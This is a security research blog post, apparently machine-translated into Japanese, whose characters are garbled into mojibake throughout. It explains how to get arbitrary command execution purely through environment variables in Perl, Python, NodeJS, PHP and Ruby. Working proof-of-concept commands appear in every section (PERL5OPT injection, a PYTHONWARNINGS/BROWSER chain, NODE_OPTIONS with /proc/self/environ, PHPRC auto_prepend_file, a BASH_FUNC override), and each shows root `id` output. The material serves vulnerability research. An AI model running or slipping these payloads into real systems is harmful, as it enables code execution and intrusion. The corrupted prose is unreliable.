åæžã
æè¿ã®ãããã³ã°ãããžã§ã¯ãã§ã¯ãç°å¢å€æ°ãæå®ããæ©èœããããŸããããå®è¡äžã®ããã»ã¹ã¯æå®ã§ããŸããã§ããããŸãããã£ã¹ã¯äžã®ãã¡ã€ã«ã®å 容ãå¶åŸ¡ããããšãã§ããããªã¢ãŒãLD_PRELOADãšã¯ã¹ããã€ããé€ããŠãããã»ã¹èå¥åïŒPIDïŒãšãã¡ã€ã«èšè¿°åã®ãã«ãŒããã©ãŒã¹ã¯èå³æ·±ãçµæããããããŸããã§ããã幞ããã¹ã¯ãªããèšèªã€ã³ã¿ãŒããªã¿ãŒãå®è¡ãããç¹å®ã®ç°å¢å€æ°ãèšå®ããããšã§ä»»æã®ã³ãã³ããå®è¡ã§ããŸããããã®ããã°ã§ã¯ãæªæã®ããç°å¢å€æ°ã®äžã§ãããŸããŸãªã¹ã¯ãªããèšèªã€ã³ã¿ãŒããªã¿ãŒãä»»æã®ã³ãã³ããå®è¡ããæ¹æ³ã«ã€ããŠèª¬æããŠããŸãã
Perl
ENVIRONMENT
ãã³ããŒãžã®
ã»ã¯ã·ã§ã³ããã£ãšèªããšãperlrun(1)
調æ»ãã䟡å€ã®ããå€ãã®ç°å¢å€æ°ãæããã«ãªããŸããç°å¢å€æ°ãPERL5OPT
䜿çšãããšãã³ãã³ãã©ã€ã³ãªãã·ã§ã³ãèšå®ã§ããŸããããªãã·ã§ã³ã®åãå
¥ãã®ã¿ã«å¶éãããŠããŸãCDIMTUWdmtw
ãæ®å¿µãªãããããã¯äžè¶³ãæå³ãã-e
å®è¡ããããã«perlã³ãŒããããŒãããããšãå¯èœã«ããŸãã
ãã ããHacker Fantasticã®CVE-2016-1531ã®ãšã¯ã¹ããã€ãã«ç€ºãããŠããããã«ããã¹ãŠã倱ãããããã§ã¯ãããŸããããã®ãšã¯ã¹ããã€ãã¯ãæªæã®ããperlã¢ãžã¥ãŒã«ããã¡ã€ã«ã«æžã蟌ã¿ãç°å¢å€æ°ãæäŸããä»»æã®ã³ãŒããå®è¡ããŸãããã ããããã¯ããŒã«ã«ç¹æš©ãšã¹ã«ã¬ãŒã·ã§ã³ã®è匱æ§ã®æªçšã§ãããäžè¬çãªæ¹æ³ã§ã¯ãã¡ã€ã«ã·ã¹ãã ãžã®ã¢ã¯ã»ã¹ãå¿ èŠãšããªãã®ãçæ³çã§ããèŠã€ããŠãã
/tmp/root.pm
PERL5OPT=-Mroot
PERL5LIB=/ tmp
åãCVEã®ããã«blastyã«ãã£ãŠæªçšããã圌ã¯ãã¡ã€ã«ã®äœæãå¿
èŠãšãããç°å¢å€æ°PERL5OPT=-d
ã䜿çšããŸãã PERL5DB=system("sh");exit;
ã2013幎ã«ã¯ãåãå€æ°ã䜿çšããŠCTFåé¡ã解決ããŸããã
äžè¬çãªæ¹æ³ã®æåŸã®åŸ®åŠãªç¹ã¯ã2ã€ã§ã¯ãªã1ã€ã®ç°å¢å€æ°ã䜿çšããããšã§ãã@justinstevenã¯ããããã§å¯èœã§ããããšãçºèŠããŸãã
PERL5OPT=-M
ãperlã¢ãžã¥ãŒã«ãããŠã³ããŒããããšãã¯ã-m
ãŸãã¯ã®ããããã䜿çšã§ããŸã-M
ãããªãã·ã§ã³ã-M
䜿çšãããšãã¢ãžã¥ãŒã«åã®åŸã«ã³ãŒããè¿œå ã§ããŸãã
ã³ã³ã»ããã®èšŒæ
äŸ0ïŒç°å¢å€æ°ã䜿çšããŠä»»æã®ã³ãŒããå®è¡ããã®ã«å¯ŸããŠperlã¯ç©ºã®ã¹ã¯ãªãããå®è¡ããïŒ/ dev / nullïŒ
$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)
Python
ã»ã¯ã·ã§ã³ããå€æãã
ENVIRONMENT VARIABLES
ã«ããã§python(1)
ãããã¯PYTHONSTARTUP
æåã¯ç°¡åãªè§£æ±ºçã®ããã«èŠããŸããããã³ãããã€ã³ã¿ã©ã¯ãã£ãã«è¡šç€ºãããåã«å®è¡ãããPythonã¹ã¯ãªãããžã®ãã¹ãæå®ã§ããŸããã³ãã³ãã©ã€ã³PYTHONINSPECT
ãšåããã-i
ã«ãç°å¢å€æ°ã䜿çšããŠã€ã³ã¿ã©ã¯ãã£ãã¢ãŒãã«å
¥ãããšãã§ãããããã€ã³ã¿ã©ã¯ãã£ãã¢ãŒãã®èŠä»¶ã¯åé¡ã§ã¯ãªãããã§ãããã ãããã®ãªãã·ã§ã³ã®ããã¥ã¡ã³ãã§ã¯ãå®è¡ããã¹ã¯ãªããã䜿çšããŠpythonãèµ·åãããšãã«-i
äœPYTHONSTARTUP
ã䜿çšãããªããã«ã€ããŠèª¬æããŠããŸããããã¯ãPYTHONSTARTUP
äž¡æ¹PYTHONINSPECT
ãçµã¿åãããããšã¯ã§ããPYTHONSTARTUP
ãPythonREPLãããã«éå§ãããå Žåã«ã®ã¿å¹æãããããšãæå³ããŸããããã¯æçµçã«ã¯PYTHONSTARTUP
éåžžã®Pythonã¹ã¯ãªãããå®è¡ããŠãå¹æããªããããå®è¡ã§ããŸããã
ç°å¢å€æ°
PYTHONHOME
ãšææã«èŠããPYTHONPATH
ãã©ã¡ããä»»æã®ã³ãŒãå®è¡ãèš±å¯ããŸããããã¡ã€ã«ã·ã¹ãã äžã«ãã£ã¬ã¯ããªãšãã¡ã€ã«ãäœæã§ããå¿
èŠããããŸããä»®æ³/ procãã¡ã€ã«ã·ã¹ãã ããã³/ãŸãã¯zipãã¡ã€ã«ã䜿çšããããšã«ããããããã®èŠä»¶ãç·©åã§ããå ŽåããããŸãã
æ®ãã®ç°å¢å€æ°ã®ã»ãšãã©ã¯ã空ã§ãªãæååããªãããã§ãã¯ãããã ãã§ã空ã§ãªãå Žåã¯ãäžè¬çã«ç¡å®³ãªèšå®ãå«ãŸããŠããŸãããŸããªäŸå€ã®1ã€ã¯
PYTHONWARNINGS
ã§ãã
PYTHONWARNINGSã®æäœ
ã®ããã¥ã¡ã³ãã«
PYTHONWARNINGS
ã¯ãããã¯ãã©ã¡ãŒã¿ã®æå®ãšåçã§ãããšèšèŒãããŠããŸã-W
ããã®ãã©ã¡ãŒã¿ãŒã¯-W
ãã¢ã©ãŒããæå®ããã¢ã©ãŒã管çãšãã¢ã©ãŒãã衚瀺ããé »åºŠã«äœ¿çšãããŸããåŒæ°ã®å®å
šãªåœ¢åŒã¯action:message:category:module:line
ã§ããã¢ã©ãŒãã®ç£èŠã¯ææãªæãããã®ããã«ã¯èŠããŸããã§ããããå®è£
ããã¹ãããåŸãããã¯ããã«å€ãããŸããã
äŸ1ïŒPython-3.8.2 / Lib / warnings.py
[...]
def _getcategory(category):
if not category:
return Warning
if '.' not in category:
import builtins as m
klass = category
else:
module, _, klass = category.rpartition('.')
try:
m = __import__(module, None, None, [klass])
except ImportError:
raise _OptionError("invalid module name: %r" % (module,)) from None
[...]
ãã®ã³ãŒãã¯ãæå®ããã«ããŽãªã«ããããå«ãŸããŠããéããä»»æã®Pythonã¢ãžã¥ãŒã«ã®ã€ã³ããŒããéå§ã§ããããšã瀺ããŠããŸãã
次ã®åé¡ã¯ãPythonæšæºã©ã€ãã©ãªã®ã¢ãžã¥ãŒã«ã®å€§éšåãã€ã³ããŒãæã«ã»ãšãã©ã³ãŒããå®è¡ããªãããšã§ãããããã¯éåžžãåŸã§äœ¿çšããã¯ã©ã¹ãå®çŸ©ããã ãã§ãããå®è¡ããã³ãŒããæäŸããå Žåã§ããã³ãŒãã¯éåžžã__ main__å€æ°ããã§ãã¯ããããšã«ãã£ãŠä¿è·ãããŸãïŒãã¡ã€ã«ãã€ã³ããŒãããããçŽæ¥å®è¡ãããããå€å¥ããããïŒã
ãã®èŠåã®äºæããªãäŸå€ã¯ãåéåã¢ãžã¥ãŒã«ã§ãã2008幎ã®Pythonéçºè ã«ã¯ãå®è¡ããããšã§åŒã³åºãããšãã§ããã€ãŒã¹ã¿ãŒãšãã°ãå«ãŸããŠããŸãã
import antigravity
..ããã®ã€ã³ããŒãã«ãããããã«ãã©ãŠã¶ã§xkcdã³ããã¯ãéãããPythonã§ã®åéåã€ã³ããŒãã«ãã£ãŠé£è¡ãå¯èœã«ãªããŸãã
ã¢ãžã¥ãŒã«
antigravity
ããã©ãŠã¶ãéãæ¹æ³ã«ã€ããŠã¯ãæšæºã©ã€ãã©ãªã®å¥ã®ã¢ãžã¥ãŒã«ã䜿çšããŸãwebbrowser
ããã®ã¢ãžã¥ãŒã«ã¯ãã¢ã¶ã€ã¯ããªãã©ãã¹ãããã¹ããŒã³ãã³ã³ã±ã©ãŒãã¯ããŒã ãã¯ãã ããã¡ã€ã¢ãã©ãã¯ã¹ããªã³ã¯ãeãªã³ã¯ããªã³ã¯ã¹ãªã©ãããŸããŸãªãã©ãŠã¶ãŒã®PATHããã§ãã¯ããŸãããŸãBROWSER
ãå®è¡ããããã»ã¹ã瀺ãç°å¢å€æ°ãåãå
¥ããŸããç°å¢å€æ°ã®ããã»ã¹ã«åŒæ°ãæå®ããããšã¯ã§ããŸãããã³ããã¯ã®xkcdurlã¯ãã³ãã³ãã®ããŒãã³ãŒããããå¯äžã®åŒæ°ã§ãã
ãããä»»æã®ã³ãŒãå®è¡ã«å€æã§ãããã©ããã¯ãã·ã¹ãã ã§äœ¿çšã§ããä»ã®å®è¡å¯èœãã¡ã€ã«ã«ãã£ãŠç°ãªããŸãã
Perlã䜿çšããŠä»»æã®ã³ãŒããå®è¡ãã
1ã€ã®ã¢ãããŒãã¯ãPerlã䜿çšããããšã§ããããã¯éåžžãã·ã¹ãã ã«ã€ã³ã¹ããŒã«ãããæšæºã®PythonDockerã€ã¡ãŒãžã§ã䜿çšã§ããŸãããã ãã
perl
æåã§å¯äžã®åŒæ°ã¯ã³ããã¯ã®xkcd urlã§ããããããã€ããªãåç¬ã§äœ¿çšããããšã¯ã§ããŸããããã®åŒæ°ã¯ãšã©ãŒãã¹ããŒããããã»ã¹ã¯ç°å¢å€æ°ã䜿çšããã«çµäºããŸãPERL5OPT
ã
äŸ2ïŒURLãperlã«æž¡ãããå ŽåãPERL5OPTã¯å¹æããããŸãã
$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory
幞ããPerlãå©çšå¯èœãªå Žåãperldocãperlthanksãªã©ã®ããã©ã«ãã®Perlã¹ã¯ãªãããå©çšã§ããããšããããããŸãããããã®ã¹ã¯ãªãããç¡å¹ãªåŒæ°ã§å€±æããŸããããã®å Žåã®ãšã©ãŒã¯ãç°å¢å€æ°PERL5OPTã®åŠçãããåŸã«çºçããŸããããã¯ããã®ããã°ã§åè¿°ããPerlç°å¢å€æ°ãã€ããŒãã䜿çšã§ããããšãæå³ããŸãã
äŸ3ïŒPERL5OPTã¯ãperldocããã³perlthanksã§æåŸ ã©ããã«æ©èœããŸã
$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
ã³ã³ã»ããã®èšŒæ
äŸ4ïŒPython2ããã³Python3ã§è€æ°ã®ç°å¢å€æ°ã䜿çšããŠä»»æã®ã³ãŒããå®è¡ãã
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'
NodeJS
ããã«Bentkowskiã¯ïŒCVE-2019ãã7609ïŒãšã¯ã¹ããã€ãKibanaã®ãã€ããŒããæ²èŒã«åœŒã®ããã°ããããã¿ã€ãã®æ±æã®è匱æ§ã䜿çšããŠãä»»æã®ç°å¢å€æ°ãèšå®ãããã®çµæãä»»æã®ã³ãã³ããå®è¡ãããŸããã Michalããã®ãã€ããŒãã¯ãç¹ã«ç°å¢å€æ°
NODE_OPTIONS
ãšprocãã¡ã€ã«ã·ã¹ãã ã䜿çšããŠããŸãã/proc/self/environ
ã
Michalã®ãã¯ããã¯ã¯åµé çã§ããã圌ã®å Žåã¯ããŸãæ©èœããŸãããåžžã«æ©èœããããšãä¿èšŒãããŠããããã§ã¯ãªãã察åŠããã®ã«é©ããããã€ãã®å¶éããããŸãã
æåã®å¶éã¯ãããã䜿çšããããšã§ã
/proc/self/environ
ã³ã³ãã³ããJavaScriptã«ãã£ãŠæ§æçã«æå¹ã«ã§ããå Žåã®ã¿ããããè¡ãã«ã¯ãç°å¢å€æ°ãäœæããŠãã¡ã€ã«ã®å
容ã«æåã«è¡šç€ºãããããã«ããããæåã«è¡šç€ºã/proc/self/environ
ããç°å¢å€æ°ã®ååãç¥ã£ãŠ/ããŒãããŠãã®å€ãäžæžãã§ããããã«ããå¿
èŠããããŸãã
ãã1ã€ã®å¶éã¯ãæåã®ç°å¢å€æ°ã®å€ã1è¡ã®ã³ã¡ã³ãïŒ//ïŒã§çµããããšã§ãããããã£ãŠãä»ã®ç°å¢å€æ°ã®newlineæåã¯ãæ§æãšã©ãŒãåŒãèµ·ããããã€ããŒãã®å®è¡ã劚ããå¯èœæ§ããããŸããè€æ°è¡ã®ã³ã¡ã³ãïŒ/ *ïŒã䜿çšããŠããæ§æçã«æ£ããããããã«éããå¿ èŠããããããåé¡ã¯ä¿®æ£ãããŸããããããã£ãŠããŸãã«ãç°å¢å€æ°ã«æ°è¡æåãå«ãŸããŠããå Žåãç°å¢å€æ°ã®ååãèªè/èšå®è§£é€ãããã®å€ãæ°è¡ãå«ãŸãªãæ°ããå€ã§äžæžãããå¿ èŠããããŸãã
ãããã®å¶éã®æé€ã¯ãèªè ã®ç·Žç¿ãšããŠæ®ããŠãããŸãã
ã³ã³ã»ããã®èšŒæ
äŸ5.MichalBentkowskiã®NodeJSã«å¯ŸããŠç°å¢å€æ°ã䜿çšããŠä»»æã®ã³ãŒããå®è¡ãã
$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)
PHP
ãããå®è¡ãããš
ltrace -e getenv php /dev/null
ãPHPãç°å¢å€æ°ã䜿çšããŠããããšãããããŸãPHPRC
ãç°å¢å€æ°ã¯ãæ§æãã¡ã€ã«ãèŠã€ããŠããŒãããããšãããšãã«äœ¿çšãããŸãphp.ini
ãCVE-2019-11043ã®neexãšã¯ã¹ããã€ãã¯ãå€æ°ã®PHPãã©ã¡ãŒã¿ãŒã䜿çšããŠãä»»æã®ã³ãŒãã匷å¶çã«å®è¡ããŸããã§ã¯ãªã¬ã³ãžãã¡ã€ãæã£ãŠããåªãããã¹ãèšå®ã®ãããã«ç°ãªããªã¹ãã䜿çšCVEãã®ããã«æŽ»çšããç¬èªã®äœæã«ã€ããŠãããã®ç¥èã以åã®NodeJSææ³ããåŸãããç¥èãããã³Brendan Scarwellããã®ããã€ãã®å©ãã䜿çšããŠã2ã€ã®ç°å¢å€æ°ãæã€PHPãœãªã¥ãŒã·ã§ã³ãèŠã€ãããŸããã
ãã®æ¹æ³ã«ã¯ãNodeJSã®äŸãšåãå¶éããããŸãã
ã³ã³ã»ããã®èšŒæ
äŸ6ïŒPHPã«å¯ŸããŠç°å¢å€æ°ã䜿çšããŠä»»æã®ã³ãŒããå®è¡ãã
$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)
ã«ããŒ
Rubyã®æ®éçãªè§£æ±ºçã¯ãŸã èŠã€ãã£ãŠããŸãããRubyã¯ã
RUBYOPT
ã³ãã³ãã©ã€ã³ãªãã·ã§ã³ãæå®ããããã®ç°å¢å€æ°ãåãå
¥ããŸãããã³ããŒãžã«ã¯ãRUBYOPTã«ã¯-d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE --enable-FEATURE
ãã®ã¿ãå«ããããšãã§ãããšèšèŒãããŠããŸããæãææãªãªãã·ã§ã³ã¯-r
ãrequireã䜿çšããŠRubyã«ã©ã€ãã©ãªãããŒããããããšã§ãããã ããããã¯æ¡åŒµåã.rb
ãŸãã¯ã®ãã¡ã€ã«ã«éå®ãããŸã.so
ã
ç§ãèŠã€ãããæ¯èŒç䟿å©ãªãã¡ã€ã«ã®äŸã
.rb
ããtools/server.rb
ã®Fedoraã·ã¹ãã äžã§ã®Rubyãã€ã³ã¹ããŒã«ããåŸã«å©çšå¯èœã§ããJSONå®ç³ããããã®ãã¡ã€ã«ãå¿
èŠãªå ŽåãWebãµãŒããŒã¯æ¬¡ã®ããã«èµ·åãããŸãïŒ
äŸ7ïŒRUBYOPTç°å¢å€æ°ã䜿çšããŠrubyããã»ã¹ãéå§ããWebãµãŒããŒãèµ·åããŸã
$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO WEBrick 1.6.0
[2020-06-17 05:43:47] INFO ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO WEBrick::HTTPServer#start: pid=28 port=6666
Fedoraã®ãã1ã€ã®ã¢ãããŒãã¯ã
/usr/bin/ruby
ãèµ·åããBashã¹ã¯ãªãããå®éã«ãããšããäºå®ãå©çšããããšã§ã/usr/bin/ruby-mri
ãã¹ã¯ãªããã¯ãç°å¢å€æ°ã§äžæžãã§ããBashé¢æ°ãåŒã³åºããŸãã
ã³ã³ã»ããã®èšŒæ
äŸ8ïŒãšã¯ã¹ããŒããããBashé¢æ°ã䜿çšããŠä»»æã®ã³ãã³ããå®è¡ãã
$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)
çµè«
ãã®æçš¿ã§ã¯ããã¡ã€ã«ããã£ã¹ã¯ã«æžã蟌ãŸãã«ãããŸããŸãªã¹ã¯ãªããèšèªã€ã³ã¿ãŒããªã¿ãŒãä»ããŠä»»æã®ã³ãŒããå®è¡ããã®ã«åœ¹ç«ã€ç°å¢å€æ°ã®ããã€ãã®èå³æ·±ã䜿çšäŸã«ã€ããŠèª¬æããŸãããèªãã§æ¥œããã§ããããã®èšèªãä»ã®ã¹ã¯ãªããèšèªã®æ¹åããããã€ããŒããèŠã€ããŠå ±æããããšã«èå³ãæã£ãŠããã ããã§ãããããRubyã«å¯ŸããŠæ©èœããäžè¬çãªææ³ãèŠã€ããå Žåãããã«ã€ããŠèãã®ã¯éåžžã«èå³æ·±ãã§ãããã
åç §ïŒãDotfileMadnessã